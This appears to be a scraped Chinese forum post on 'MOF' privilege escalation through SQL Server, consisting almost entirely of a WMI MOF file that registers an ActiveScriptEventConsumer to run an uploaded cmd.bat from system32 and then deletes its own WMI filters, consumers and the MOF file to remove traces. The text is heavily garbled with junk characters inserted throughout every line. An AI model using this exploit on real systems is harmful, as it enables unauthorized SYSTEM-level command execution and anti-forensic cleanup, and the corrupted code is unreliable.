这个sql提权MOF需要运行 system下的文件,不能定义路径。
; g+ f, G/ ?$ h7 E( g需要将要运行的命令写入到bat上传到system32目录,然后执行。" W0 w2 e6 c1 p2 z- |8 \' B6 r3 M% L
7 j7 C$ C$ t8 W0 v+ W* a
这个sql提权MOF需要运行 system下的文件,不能定义路径。 C; _- W; C! U% n' L8 u
需要将要运行的命令写入到bat上传到system32目录,然后执行。+ f) g* F4 Y' O
7 w F7 k f1 u* F
#pragma
& G+ n% P8 }" j, _, W- ?' Q namespace("\\\\.\\root\\cimv2")
F! Q( h& l8 _" v6 V class
3 c2 E- h) d2 L' ~; {0 s MyClass547! G! X+ [4 E) s
{ [key]
: D# G& A4 E9 |; y B string
|6 ?' M) V* {' \$ ]2 P Name;- _, G' Q% P( m
};( {5 f z$ t8 c" ?5 b v* @
class4 J8 e i/ N/ p2 K! R! W
ActiveScriptEventConsumer
1 \* `/ T; _" l; Y/ m+ b : __EventConsumer { [key]5 @8 O+ u/ I& {0 m' Z
string
3 P. u, Y. y2 X1 P: n( n Name; [not_null]6 R- I! R" a/ T) K# D" G3 {
string
! I$ v$ \8 u% X( b ScriptingEngine; string
/ i$ q. Q0 i Q* _* G! S) ^+ J9 c ScriptFileName; [template]1 d) U. n4 j$ @1 h
string0 B: B+ [$ ~1 q, y. H
ScriptText; uint32 KillTimeout;
4 _1 a9 p/ P6 Y& z0 ]2 A/ z F" n }; instance of __Win32Provider as $P {
1 J8 u: o: j5 Z/ @- a! l! f Name. @9 G! P/ j" x! f+ B5 w
=
' V, U/ w) c3 v5 I "ActiveScriptEventConsumer"; CLSID =& A W9 d9 v* B
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";- F/ B$ O9 }0 g1 o
PerUserInitialization
. {# o8 k6 h4 u. A9 ], z L = TRUE;9 l! b4 l$ |' g2 ]
}; instance of __EventConsumerProviderRegistration { Provider7 g7 s- R8 @& m. V; \- }. y1 s1 w
= $P; ConsumerClassNames
( f3 |( b0 d' d =
! Y. m3 n$ v5 A4 }- ~' Q {"ActiveScriptEventConsumer"};
8 m3 D6 ?" r5 h) p7 A };3 W8 o% Z: F* s+ V( n
Instance of ActiveScriptEventConsumer
# m: W' O- K6 g% z* ~ as $cons { Name9 P% `% ~/ K7 `* @, s e
=
# Y5 B7 W1 d8 y& C5 n% B+ O W "ASEC"; ScriptingEngine
( | ^- e& B3 K: K5 Z g9 |8 ^ =
[; C2 d: T- { "JScript"; ScriptText
6 c$ @% k$ O3 R1 T' [ =
$ R: w$ }2 X1 [( K% i8 }$ Z+ X "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
3 V8 q* t6 x0 u5 q$ h8 k! w Instance of ActiveScriptEventConsumer/ b1 V n5 l4 W; k
as $cons2 { Name1 z; }" r, }$ |5 \, \; }
=3 \/ |0 _: z/ y5 f5 m$ O
"qndASEC"; ScriptingEngine$ G( D8 v W) k- O- }& c+ I
=! M9 U# L. @2 d* K) x1 Q
"JScript"; ScriptText
! k @# c6 c1 `/ X. |9 w+ N =
5 r5 U; ^$ Q! e2 D" o3 \ "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
" t% j: H' L+ D+ ~; w6 ^4 K/ g }; instance of __EventFilter as $Filt { Name; h+ ?9 F' j2 x* {: ]/ w5 [8 ]
=
* | D4 Y4 g8 i- A x "instfilt"; Query' I3 m' `' `8 Q% b
=6 }. q/ I3 K4 z+ B: P' h% k7 }
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
9 H. l7 e j2 N$ h+ _. ?( }5 n =- w* m! M4 F1 @. T! Z
"WQL"; }; instance of __EventFilter as $Filt2 { Name1 s% ^$ W+ J, R8 z$ ` v X$ s8 [( p
=
`3 [. E8 D6 W3 q "qndfilt"; Query3 X7 j/ L7 b8 e$ `2 p$ R: H
=
5 g: G) |8 b, T! A( E; } "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage+ X% y2 D( n/ ~
=
" W L; T; }, S, X+ _6 ^$ } "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
: [" A6 M4 T: I3 z; _, H = $cons; Filter
9 B$ m7 Z5 U( I! y* h7 K3 [ = $Filt;
7 F( ]3 ~7 _- N" W3 G }; instance of __FilterToConsumerBinding as $bind2 { Consumer
9 F- b+ p- [# f6 C2 w = $cons2; Filter; }0 }2 O" D/ X. x
= $Filt2;# Y$ L7 w* T' k, e6 a8 R8 @& j' a
}; instance of MyClass5471 y2 j. Y( O5 E1 n0 w5 C/ N
as $MyClass { Name% |0 z2 Z4 j( Y) d7 D5 y
= k# N% Y$ i" u
"ClassConsumer";
; i9 P8 N9 w: Y! a0 F }; |